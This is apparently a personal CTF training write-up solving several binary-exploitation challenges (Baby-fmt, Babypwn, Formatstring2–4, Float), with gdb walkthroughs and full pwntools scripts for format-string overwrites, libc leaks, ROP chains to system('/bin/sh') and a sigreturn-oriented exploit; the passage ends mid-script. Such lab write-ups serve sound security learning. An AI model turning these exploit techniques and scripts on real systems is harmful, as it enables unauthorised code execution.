---
# System prepended metadata

title: Baby-fmt

---

# Baby-fmt

Running the program, first it told us to pass a name![](https://hackmd.io/_uploads/HkciVZ7wn.png)

Then we have to guess a lucky number

![](https://hackmd.io/_uploads/rktAV-7w2.png)


Then it ends

![](https://hackmd.io/_uploads/Bk3XBZ7vn.png)


The challenge is `Baby-fmt` so i test format string vulnerability

![](https://hackmd.io/_uploads/ryE5SZ7Pn.png)

So that's the bug


Decompiled binary

![](https://hackmd.io/_uploads/H1pgIZXv2.png)

So it takes random number to pass to `lucky` global variable and check if our guess is equal to that value
If not then the program exits

If equal, the program calls the `flag` function

Which is

![](https://hackmd.io/_uploads/HyqtUWmw2.png)


So we have to call that function

I find the offset of format strings to reach my input


![](https://hackmd.io/_uploads/B1CkD-Qw3.png)



![](https://hackmd.io/_uploads/S1xCDZQPh.png)

So the offset in `name` is about 16-19 and in `number` is about 8-9

Now to the exploit


Here i write address of `flag()` to the GOT of `exit`

In the string we have to put the address of GOT at the end because it will have null bytes

I try to find the offset of the address

![](https://hackmd.io/_uploads/S1efsZXv3.png)

So the address is at `18` and the padding is 'AAAAB'
The `%1000d` is for writing to address using `%n`

The address of `flag` is `0x4008e9` equal to `4196585`

So i try the payload 

![](https://hackmd.io/_uploads/H1eXnb7D2.png)

The padding changes because the number `1000` changes to `4196585`

Attach with gdb

Before the format string

![](https://hackmd.io/_uploads/Sk0Y3WXDh.png)

After the format string

![](https://hackmd.io/_uploads/S1JJ6Zmwn.png)

So we success fully write the GOT of `exit` to `flag`

Continue and we trigger the `system`

![](https://hackmd.io/_uploads/SJgiRWXD2.png)


![](https://hackmd.io/_uploads/H15oAZmwh.png)


Solve.py

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/Baby-fmt/fmt1')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
exit_got = elf.got['exit']
#gdb.attach(p, gdbscript='''
#b *0x4009b3
#continue''')
payload = b'%4196585x'
payload += b'%18$n'
payload += b'A'*2 #padding
payload += p64(exit_got)
#print(payload)
p.sendline(payload)
p.recvuntil(b'Your input: ')
p.sendline(b'1')
p.interactive()
```

# Babypwn

When we run the program, it gets the input from keyboard then ends

![](https://hackmd.io/_uploads/HkR4TpNw3.png)


Passing a large input to program

![](https://hackmd.io/_uploads/HkKw6T4vn.png)

It has `Illegal instruction`, that means there may be an invalid instruction

Debug with gdb

![](https://hackmd.io/_uploads/SkcJA6Ewh.png)


We see that there is no main function


So i disassemble the `_start`

![](https://hackmd.io/_uploads/SyW40p4w2.png)


![](https://hackmd.io/_uploads/SkmvCp4vn.png)

These instructions execute a syscall, the syscall number is passed to `eax` which is `1` is the syscall number for `write` 

We can see the syscall table [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md)

The others argument is passed to `edi`, `rsi` and `edx` registers

So we have `write(1, 0x40015d, 0x13)`

`1` is the `fd` of `stdout` so it will write the output to the screen

`0x40015d` is address of a string

![](https://hackmd.io/_uploads/H1WleCNPn.png)


`0x13` is the length of string


Same for 

![](https://hackmd.io/_uploads/HyWQgR4wh.png)


We have `read(0, rsp - 0x18, 0x100)`

It reads `0x100` bytes from `stdin` and puts it to `rsp - 0x18`


The last thing

![](https://hackmd.io/_uploads/Bkl25e04w3.png)

It pus value at `rsp - 0x8` to `rax` then `syscall` intruction


The bug is here, we can controll the value at `rsp - 0x8` by the `read` syscall before


Here we use `Sigreturn-Oriented Programming (SROP)`

When getting a signal, the program set up a back up to restore all the data before changing to kernel context, the idea is to restore things that the program doesn't set up

The signal frame


![](https://hackmd.io/_uploads/H1gufCNvn.png)


The `sigreturn` syscall which has the syscall number is `0xf` is responsible for restoring all the datas


I try to put that into `rax` we read at `rsp - 0x18` and the `rax` is at `rsp - 0x8` so the padding is `16`

```python=
payload = b'A'*16 #padding
payload += p64(0xf)
p.sendline(payload)
```

Attach with gdb and i see that

![](https://hackmd.io/_uploads/rkbkN0VD3.png)

Successfully put `0xf` into `rax`

Continue

![](https://hackmd.io/_uploads/r1UzV0EP3.png)

We see that all the registers changes

Those value are on the stack

![](https://hackmd.io/_uploads/HkorNCNDh.png)

And we can overflow it

I try the payload

![](https://hackmd.io/_uploads/rkE_ECEP2.png)

Debuging it

![](https://hackmd.io/_uploads/rkoc4AVPn.png)

So we have the offset of `rip`, `rsi`, `rdx`, `rdi`

We have to control those register to `execve('/bin/sh', 0, 0)` 

We already have the string `/bin/sh` in the program

![](https://hackmd.io/_uploads/HJQDH0Nwh.png)


But there's one problem is that `rax` is `0`, but it's supposed to be one of my ascii value

After searching i find at [here](https://ieeexplore.ieee.org/document/6956568)

> In order to execute a successful sigreturn system call, we must ensure that the kernel does not trip over any bad values in the signal frame. The first requirement is that the code segment register is restored correctly. On x86–64, when running in 64bit mode, the code segment register should contain the value 0×33. The second requirement is that the fpstate pointer is not a wild pointer. Fpstate points to the saved floating point unit state and if its address not valid, or the saved floating point state is not correct, our application will crash. This seems like a problem, since our assumption is that we do not yet know of any attacker controlled data on a known address. Luckily, when fpstate is NULL, Linux assumes no floating point operations had been used before the signal arrived. In this case, it clears the FPU state is and sigreturn succeeds.

So we need put code segment register `0x33` which is after `2` offset from `rip`

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
binsh = 0x400155
rip = 0x400153 #syscall
gdb.attach(p, gdbscript='''
b *0x0000000000400153
continue
''')
#rsp 0x55
#rip 0x56
#rdi 0x4e /bin/sh
#rdx 0x52
#rsi 0x4f
payload = b'A'*16 #padding
payload += p64(0xf)
for i in range(26):
    a = 0x41 + i
    if a == 0x55:
        payload += p64(0x41414141)
    elif a == 0x56:
        payload += p64(rip)
    elif a == 0x4e:
        payload += p64(binsh)
    elif a == 0x53:
        payload += p64(0x3b)
    elif a == 0x58:
        payload += p64(0x33)
    else:
        payload += p64(0)
payload += p64(0)*8 # zero out others properties
print(payload)
p.sendline(payload)
p.interactive()
```

Attaching with gdb

![](https://hackmd.io/_uploads/BysXPRNv2.png)


We successfully put the values into corresponding registers

Continue and we get a shell ![](https://hackmd.io/_uploads/Hki8P04Ph.png)


![](https://hackmd.io/_uploads/BkUDD0NP3.png)



We can use `SigreturnFrame()` in `pwntools`


```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge')
context.terminal = 'qterminal'
context.timeout = 1000
p = process()
binsh = 0x400155
rip = 0x400153 #
gdb.attach(p, gdbscript='''
b *0x0000000000400153
continue
''')

payload = b'A'*16 #padding
payload += p64(0xf)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x41414141
frame.rip = rip

payload += bytes(frame)
print(payload)
p.send(payload)
p.interactive()
```

# Formatstring2 

The program is kind of like Babyfmt and also has format string vulnerability

I first try to find the offset of format string

After a few tries

![](https://hackmd.io/_uploads/rkBJwvdwh.png)

![](https://hackmd.io/_uploads/r1Ogvw_D3.png)


So i have the offset for the first `printf` is `18` and the second i `8`

This time, there is no functions that calls the `system` for us
![](https://hackmd.io/_uploads/By1dDw_w2.png)

The decompiled program

![](https://hackmd.io/_uploads/SyWCDDdDh.png)



I thought i had to calculate the `system` address because the challenge gave me a `.so` file


So i have to leak the libc

Using gdb i see that

![](https://hackmd.io/_uploads/rJQjuvOP2.png)

![](https://hackmd.io/_uploads/rJrTOwdD3.png)

So looks like `0x7f0100000000` is an address in libc

I find the offset of that

![](https://hackmd.io/_uploads/HJC7YP_P3.png)


Debugging with gdb to view the libc base and calculate the offset

![](https://hackmd.io/_uploads/ryTUYw_v3.png)

The both offset are the same so it might be right

Checking

![](https://hackmd.io/_uploads/SJe9Kvuwn.png)


It's right


Now we have the the libc, i think of writing it to `GOT` of others functions but the problem is that i don't know how to pass the `/bin/sh` to that

Then i try to leak the stack then redirect the `rip` to the start of `main` to reuse the format string


![](https://hackmd.io/_uploads/S1bj5P_Dh.png)

The stack address is right after the leaked libc so the offset of it is `30`

Using gdb to get the `rbp` value then i get where the `ret` address is stored. It is `leak_stack - 248`

Check it

![](https://hackmd.io/_uploads/BJNrivOv2.png)


![](https://hackmd.io/_uploads/rkK_jDOP2.png)


So i success fully redirect the program

But then the problem is the program crash when execute the first `printf` but not my format string but `printf("Give me your name: ")`

But when i redirect it to `0x4008ea` which is `mov rbp, rsp` then it runs okay


So to the exploit, my idea is loop a few times to `main` to reuse the format string, and each loop i write one gadget. I just need to write 3 times

My ropchain will look like:

```
-------------
ret              <- return address
-------------
pop rdi        
-------------
address of /bin/sh
-------------
system
```

The reason why there's a `ret` before `pop` is `movaps issues` explained below in `float` challenge


Because i return to `main` at `mov rbp, rsp` but not `push rbp` so the return address changes after each loop

After a loop the return address increase `0x10`

![](https://hackmd.io/_uploads/HygfBykO3.png)

Next `ret`

![](https://hackmd.io/_uploads/ryP7S1y_n.png)

The value of `rsp` increase `0x10`


So now start my exploit

## Leak the libc and stack


```python=
payload = b'%29$llxA'
payload += b'%30$llxA'
print(payload)
print('Payload length is {}'.format(len(payload)))
p.sendline(payload)
p.recvuntil(b'Hi guy,')
leak_libc = int(p.recvuntil(b'A')[:-1], 16)
leak_libc -= 160138
libc.address = leak_libc
leak_stack = int(p.recvuntil(b'A')[:-1], 16)
rip = leak_stack - 248
print('Base libc: {}'.format(hex(libc.address)))
print('Address of rip: {}'.format(hex(rip)))
```

Explained before

## ret to main

To return to `main` the `lucky` variables must be equal to `atoi(input)` otherwise the program will call `exit`

We can use formatstring to write `0` at `lucky` and because our formatstring is not a number so `atoi` function will returns `0`

```python=
payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0})
print(payload2)
print('Length of payload2 is {}'.format(hex(len(payload2))))
p.sendline(payload2)
```


## Write the ropchain

So because after each loop, the return address increases `0x10`

We have

```
rip <----  rip we leak
rip + 0x10 <---- address to write pop rdi gadget
rip + 0x20 <---- address to write /bin/sh
rip + 0x30 <---- address to write system
```

The last return address is `rip + 0x30`
 So we need to write
 
 ```
 -------------
 POP RDI        <--- rip + 0x38
 -------------
 address of /bin/sh  <---- rip + 0x40
 -------------
 system         <--- rip + 0x48
 ```

Each loop we use first format string to write `main` to return address
Second format string is for writing the gadget

```python=
#first loop write the pop_rdi
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short')
payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int')
p.sendline(payload_)
p.recvuntil(b'Your input: ')
p.sendline(write_pop_rdi)



#second loop write the binsh
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short')
payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int')
print('len of payload3: {}'.format(hex(len(payload3))))
print(payload3)
p.sendline(payload3)
p.recvuntil(b'Your input: ')
p.sendline(write_binsh)



# stage 3 write the system
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short')
payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int')
p.sendline(payload4)
p.recvuntil(b'Your input: ')
p.sendline(write_system)
```


Attach with gdb

The last `ret
`
![](https://hackmd.io/_uploads/B1X6P1kdh.png)

The values are okay

Continue

![](https://hackmd.io/_uploads/S1wJOkkuh.png)

We get a shell

![](https://hackmd.io/_uploads/SJXlO11dh.png)


Full script

```python=
from pwn import *



elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring2/fmt2')
libc = elf.libc
context.terminal = 'qterminal'
p = process(close_fds=False)
main = 0x4008ea #main
ret = 0x4008e9
_ret = 0x4006c1#0x00000000004006c1 : ret
POP_RDI = 0x400b03#0x0000000000400b03 : pop rdi ; ret
#gdb.attach(p, gdbscript='''
#b *0x0000000000400a6f
#''')
#leak the libc address
payload = b'%29$llxA'
payload += b'%30$llxA'
print(payload)
print('Payload length is {}'.format(len(payload)))
p.sendline(payload)
p.recvuntil(b'Hi guy,')
leak_libc = int(p.recvuntil(b'A')[:-1], 16)
leak_libc -= 160138
libc.address = leak_libc
leak_stack = int(p.recvuntil(b'A')[:-1], 16)
rip = leak_stack - 248
print('Base libc: {}'.format(hex(libc.address)))
print('Address of rip: {}'.format(hex(rip)))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
last_rip = rip + 0x30
print('address of system: {}'.format(hex(system)))
print('address of binsh: {}'.format(hex(binsh)))

#redirect the program
payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0})
print(payload2)
print('Length of payload2 is {}'.format(hex(len(payload2))))
p.sendline(payload2)

#first loop write the pop_rdi
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short')
payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int')
p.sendline(payload_)
p.recvuntil(b'Your input: ')
p.sendline(write_pop_rdi)
#second loop write the binsh
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short')
payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int')
print('len of payload3: {}'.format(hex(len(payload3))))
print(payload3)
p.sendline(payload3)
p.recvuntil(b'Your input: ')
p.sendline(write_binsh)




# stage 3 write the system
rip += 0x10
p.recvuntil(b'Give me your name: ')
write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short')
payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int')
p.sendline(payload4)
p.recvuntil(b'Your input: ')
p.sendline(write_system)



p.interactive()
```

# Formatstring4

The challenge has the format string vulnerability

![](https://hackmd.io/_uploads/H1LZz3_vn.png)

Checking with gdb and i see that the program is `PIE`

![](https://hackmd.io/_uploads/S128MnuDh.png)


First i decompile the program with ida


![](https://hackmd.io/_uploads/Hkfsf3dw3.png)

The main function gets input by `fgets` so it's safe, then it calls `exploit` function


![](https://hackmd.io/_uploads/SJc9G2dD2.png)

So we have the format string bug at return and looks like we have to trigger the `system` above


I think of redirecting the program to `system`, but i only have one format string bug so i can't leak anything

Calculate the offset of formatstring

![](https://hackmd.io/_uploads/rywfVhOv3.png)

![](https://hackmd.io/_uploads/S1yfE3Owh.png)

So the offset to reach the string is `10` but then i found out that the `7fffffffddb8` is the address of `ret`

![](https://hackmd.io/_uploads/rk2IN2uw3.png)


So now we can redirect the program

Even though the program is PIE but the first 2 bytes doesn't change

![](https://hackmd.io/_uploads/H14bHhuPn.png)

![](https://hackmd.io/_uploads/BkPMBnODh.png)


So i just need to overwrite the `ret` using short write `%hn`

The `0xb8b` is equal to `2955` so my payload:

>%2955d%7$hn

![](https://hackmd.io/_uploads/S1rPHhuvn.png)


# Float


Running the program, it just gets input from user until timeout

![](https://hackmd.io/_uploads/BJLsL95vh.png)


Decompile the program

![](https://hackmd.io/_uploads/SJvfD5qD3.png)


So the program prints the string and call `chart_course` funtions with parameter `s`, and `s` is `rbp - 0x30`

The `chart-course` function

![](https://hackmd.io/_uploads/BJgcwq5Dh.png)


The function has infinite loop until we type `done`, else, it use `atof` function to convert our input to `float` type
and set `*(0x4*i + a1)` to that, `a1` is the parameter passed to function, that's the bug, we can overflow it. 

Remember `a1`is at `rbp - 0x30` in `main`, so with big enough `i` we can write to `rip`

I test that

![](https://hackmd.io/_uploads/BJwAuccwn.png)

Segmentation fault

Debug with gdb and find the offset, the `rip` is written with `i` is `15` and `16`, because the program is 64 bits and the `float` type is 32 bits


But to overwrite with the correct value, we have to reverse the `atof` function, to do this i use `numoy`

I create a function that convert my input and send to program

```python=
def send_float(f):
    first_4bytes = f & 0xffffffff
    last_4bytes = (f & 0xffffffff00000000) >> 32
    first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0]
    last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0]
    p.sendline(str(first_4bytes_float).encode())
    p.sendline(str(last_4bytes_float).encode())
```

Test if we redirect the program

```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode()) # padding until rip
send_float(chart_course)
```

Set breakpoint at `ret` and look at the address `rsp` points to

![](https://hackmd.io/_uploads/Hychc99D3.png)

So i redirected the program

Now to the exploit

Here i use `ROP`

First, i try to leak the libc address

I create the ROP chain that looks like

```
------------
POP RDI; RET   <---- rip
------------
PUT@GOT        <---- argument
------------
PUT@PLT        <---- leak
------------
```

Payload to leak libc

```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
send_float(elf.plt['puts'])
```

See the leaked address

```python=
leak = p.recv(1024)
leak = leak[-7:-1]
print('Leak is {}'.format(leak))
libc_leak = int.from_bytes(leak, byteorder='little')
print('Libc leak is {}'.format(hex(libc_leak)))
libc.address = libc_leak - libc.symbols['puts']
print('Address of libc: {}'.format(hex(libc.address)))
```

Checking with gdb

![](https://hackmd.io/_uploads/ry5Unc9wn.png)


So now i have the libc, i can call `system` to get a shell

I append the `main` address to the payload above to redirect the program run `chart_course` again and overflow it

```python=
for i in range(14):
    p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
send_float(elf.plt['puts'])
send_float(elf.symbols['main'])
p.sendline(b'done')
```

So now i create the ROP chain to call `system('/bin/sh')`

Payload

```
-------------
POP RDI; RET     <---- rip
-------------
'/bin/sh'        <---- argument for system
-------------
system from libc <---- get shell
```

```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode())
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
```


Checking with gdb

![](https://hackmd.io/_uploads/ryhip9qwh.png)


So i successfully redirect to `system` but i get `SIGSEGV`, after searching i found the solution
[here](https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call)


>The MOVAPS issue

If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

So i add `ret` gadget to align the stack

```python=
p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode())
send_float(ret_)
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
```


![](https://hackmd.io/_uploads/r1ua05qD2.png)


![](https://hackmd.io/_uploads/H16pC5qwn.png)

Success


Solve.py

```python=
from pwn import *
import struct
import numpy as np


elf = context.binary = ELF('/home/kakaka/Train/exploit/Float/overfloat_patched')
context.terminal = 'qterminal'
p = process()
libc = elf.libc


def send_float(f):
    first_4bytes = f & 0xffffffff
    last_4bytes = (f & 0xffffffff00000000) >> 32
    first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0]
    last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0]
    p.sendline(str(first_4bytes_float).encode())
    p.sendline(str(last_4bytes_float).encode())
#gdb.attach(p, gdbscript='''
#b *0x400a1f
#b *0x400992
#''')
ret_ = 0x400661#0x0000000000400661 : ret
ret = 0x4008df #0x00000000004008df <+138>:   mov    edx,ecx
#POP_RSI_R15 = 0x400a81#0x0000000000400a81 : pop rsi ; pop r15 ; ret
#PUSH_MOV_RBP_CALL_RAX = 0x40082a#0x000000000040082a : push rbp ; mov rbp, rsp ; call rax
POP_RDI = 0x400a83 #0x0000000000400a83 : pop rdi ; ret
#CALL_ESP = 0x400e9b #0x0000000000400e9b : call rsp
#CALL_PUTS = 0x4009e8 #0x00000000004009e8 <+85>:    call   0x400690 <puts@plt>
main = 0x0000000000400993 #main
p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode())
send_float(POP_RDI)
send_float(elf.got['puts'])
#send_float(CALL_PUTS)
send_float(elf.plt['puts'])
send_float(elf.symbols['main'])
p.sendline(b'done')
p.recvuntil(b'VOYAGE!')
leak = p.recv(1024)

leak = leak[-7:-1]
print('Leak is {}'.format(leak))
libc_leak = int.from_bytes(leak, byteorder='little')
print('Libc leak is {}'.format(hex(libc_leak)))
libc.address = libc_leak - libc.symbols['puts']
print('Address of libc: {}'.format(hex(libc.address)))

p.recvuntil(b'LAT[0]: ')
for i in range(14):
    p.sendline(str(i).encode())
send_float(ret_)
send_float(POP_RDI)
print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh')))))
send_float(next(libc.search(b'/bin/sh')))
print('Address of system: {}'.format(hex(libc.symbols['system'])))
send_float(libc.symbols['system'])
p.sendline(b'done')
p.interactive()

```

# Formatstring3

Run the program

![](https://hackmd.io/_uploads/r1BXs5APn.png)

It ends after getting some inputs and doesn't print anything, but it's a format string challenge

Decompiler with IDA and i see

![](https://hackmd.io/_uploads/HJ7Os50v2.png)

It compares the first 3 bytes of `s` to `yes`, if not equal then the program ends, else it calls `filter` function with parameter my input

![](https://hackmd.io/_uploads/HkNJnq0vh.png)



Basically, it interates until meeting `$` or `%` character and shift left my string, it's to avoid formatstring but i can bypass by using special character twice

![](https://hackmd.io/_uploads/SkXdh9CPh.png)


So now debug with gdb

First check the security flag

![](https://hackmd.io/_uploads/B1-j3qCPn.png)

It has PIE

In this challenge our string is not on the stack, it's global variable

![](https://hackmd.io/_uploads/HkxAM69Cvh.png)


I find the offset of some values on the stack

![](https://hackmd.io/_uploads/BkrER9Rvn.png)


First i leak the libc at offset `3` and leak stack at offset `40`, but the length of input is limited so i just can leak the stack using `%x` but that's enough because these value are the same at high bytes

Here the value the program return is at `0x7fffffffdd58`


```python=
p.recvuntil(b'Give me your name: ')
p.sendline(b'name')
p.recvuntil(b'Can you fix bug for me?')
p.sendline(b'yes%%3$$llx|%%40$$x')
p.recvuntil(b'yes')
leak = p.recvuntil(b'|')[:-1]
leak = int(leak, 16)
print('Leak is {}'.format(hex(leak)))
libc.address = leak - 1133111
print('Libc is {}'.format(hex(libc.address)))
leak = p.recvuntil(b'\n')[:-1]
leak = int(leak, 16)
ret = leak - 0x100
print('Leak stack: {}'.format(hex(leak)))
print('Ret: {}'.format(hex(ret)))
```

![](https://hackmd.io/_uploads/HkFBliAv2.png)


I just use the first 2 bytes of the stack, because the length of input i can only use shrot write `hn`

I have the libc and the stack

The offset above show that

offset `16` point to offset `43`
offset `10` point to offset `40`

First i change first 2 bytes at offset `40` to point to `ret` address, so i can redirect the program

But i can only write 2 bytes to `ret`

The value at `ret` is a libc value, i can controll the first 2bytes so the program can be redirected to between `0x1d8f0` and `0x2ffff` offset in libc


![](https://hackmd.io/_uploads/Sy-nZoAP2.png)


View the value of register at `ret` instruction


![](https://hackmd.io/_uploads/BJgcIzi0w2.png)

We see that `r13` points to `main`

And i see a gadget that calls `r13`

> ROPgadget --binary libc6_2.35-0ubuntu3.1_amd64.so --range 0x1d8f0-0x2ffff | grep call


![](https://hackmd.io/_uploads/S1xRfiADn.png)


Redirect the program to `main`

```python=
payload = b'yes%%'
ret = ret & 0xffff
payload += str(ret - 3).encode()
payload += b'd%%10$$hn'
print(payload)
p.sendline(payload)
```

The code above to change the value at offset `40` which is pointed by offset `10`


```python=
CALL_R13 = CALL_R13 + libc.address
CALL_R13 = CALL_R13 & 0xffff
payload1 = b'yes%%'
payload1 += str(CALL_R13 - 3).encode()
payload1 += b'd%%40$$hn'
print(payload1)
p.sendline(payload1)
```

Redirect the program

Set a breakpoint at `ret` instruction and continue i see the program run the `call r13` instruction


![](https://hackmd.io/_uploads/SJYK7iRv3.png)


Now to the exploit

After the call to `main` the offset and the value still remains, and each `main` we have `3` times to use format string, first `printf` we use to redirect the program to `main`, making it a loop. We can reuse the `payload1` above

I created a function to do that

```python=
def ret_to_main(payload):
    p.recvuntil(b'Give me your name: ')
    p.sendline(b'name')
    p.recvuntil(b'Can you fix bug for me?')
    p.sendline(payload)
```

Second `printf` to change the value at offset `43` to point to somewhere on the stack to write

Third `printf` to write the value

To write `64` value i have to loop the `main` 4 times, but here the last 2 bytes is always `0000` so i just need `3` loop

So now i have arbitrary write

I create a ropchain that looks like

```
-------------
POP RDI; RET    <--- ret
-------------
address of /bin/sh 
-------------
address of system
```

But to avoid `movaps issues` i add a `ret`

```

-------------
RET           <--- ret
-------------
POP RDI; RET    
-------------
address of /bin/sh 
-------------
address of system
```

I create a function that does write value to address

```python=
def write_to(address, value, payload, ret = 0):
    first_2bytes_address = address & 0xffff
    second_2bytes_address = (address + 2) & 0xffff
    third_2bytes_address = (address + 4) & 0xffff
    first_2bytes_value = value & 0xffff
    second_2bytes_value = (value & 0xffff0000) >> 16
    third_2bytes_value = (value & 0xffff00000000) >> 32
    # round 1
    ret_to_main(payload) 
    pay_load = b'yes%%'
    pay_load += str(first_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) #change the address to write
    print('payload of round1: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(first_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) #write to address
    print('payload1 of round 1: ', end=' ')
    print(pay_load1)
    if ret == 1:
        p.interactive()
    #round 2
    ret_to_main(payload)
    pay_load = b'yes%%'
    pay_load += str(second_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) # change the address to write
    print('payload of round2: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(second_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) # write to address
    print('payload1 of round 2: ', end=' ')
    print(pay_load1)
    #round 3
    ret_to_main(payload)
    pay_load = b'yes%%'
    pay_load += str(third_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) # change the address to write
    print('payload of round3: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(third_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) # write to address
    print('payload1 of round 3: ', end=' ')
    print(pay_load1)
```

It loops `3` times `main`, each loop it writes `2` bytes to address

Creating the ropchain

```python=
address_to_write_binsh = leak - 240
address_to_write_system = address_to_write_binsh + 8
write_to(address_to_write_binsh, binsh, payload1)
write_to(address_to_write_system, system, payload1)
write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1)
write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1)
```

![](https://hackmd.io/_uploads/rkRBUjRvh.png)

The image above is when i didn't add a `ret` to ropchain but it successfully to write `system` and `/bin/sh` on the stack, and of course

Continue and it `SIGSEGV`

![](https://hackmd.io/_uploads/H1pqUiRwh.png)


Adding a `ret` and it calls a shell

![](https://hackmd.io/_uploads/BkkpIiRP3.png)

![](https://hackmd.io/_uploads/HkrpUoAvh.png)


solve.py

```python=
from pwn import *

elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/lib/chall')
libc = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/mywork/libc6_2.35-0ubuntu3.1_amd64.so')

context.terminal = 'qterminal'
p = process(cwd='/home/kakaka/Train/exploit/Formatstring3/libc/lib')
gdb.attach(p, gdbscript='b printf')
CALL_R13 = 0x2f4d3#0x000000000002f4d3 : call r13
POP_RDI = 0x2a3e5#0x000000000002a3e5 : pop rdi ; ret
RET = 0x29cd6#0x0000000000029cd6 : ret
def ret_to_main(payload):
    p.recvuntil(b'Give me your name: ')
    p.sendline(b'name')
    p.recvuntil(b'Can you fix bug for me?')
    p.sendline(payload)
def write_to(address, value, payload, ret = 0):
    first_2bytes_address = address & 0xffff
    second_2bytes_address = (address + 2) & 0xffff
    third_2bytes_address = (address + 4) & 0xffff
    first_2bytes_value = value & 0xffff
    second_2bytes_value = (value & 0xffff0000) >> 16
    third_2bytes_value = (value & 0xffff00000000) >> 32
    # round 1
    ret_to_main(payload) 
    pay_load = b'yes%%'
    pay_load += str(first_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) #change the address to write
    print('payload of round1: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(first_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) #write to address
    print('payload1 of round 1: ', end=' ')
    print(pay_load1)
    if ret == 1:
        p.interactive()
    #round 2
    ret_to_main(payload)
    pay_load = b'yes%%'
    pay_load += str(second_2bytes_address - 3).encode()
    pay_load += b'd%%16$$hn'
    p.sendline(pay_load) # change the address to write
    print('payload of round2: ', end = ' ')
    print(pay_load)
    pay_load1 = b'yes%%'
    pay_load1 += str(second_2bytes_value - 3).encode()
    pay_load1 += b'd%%43$$hn'
    p.sendline(pay_load1) # write to address
    print('payload1 of round 2: ', end=' ')
    print(pay_load1)
    #round 3
    ret_to_main(payload)
    pay_load = b'yes%%'
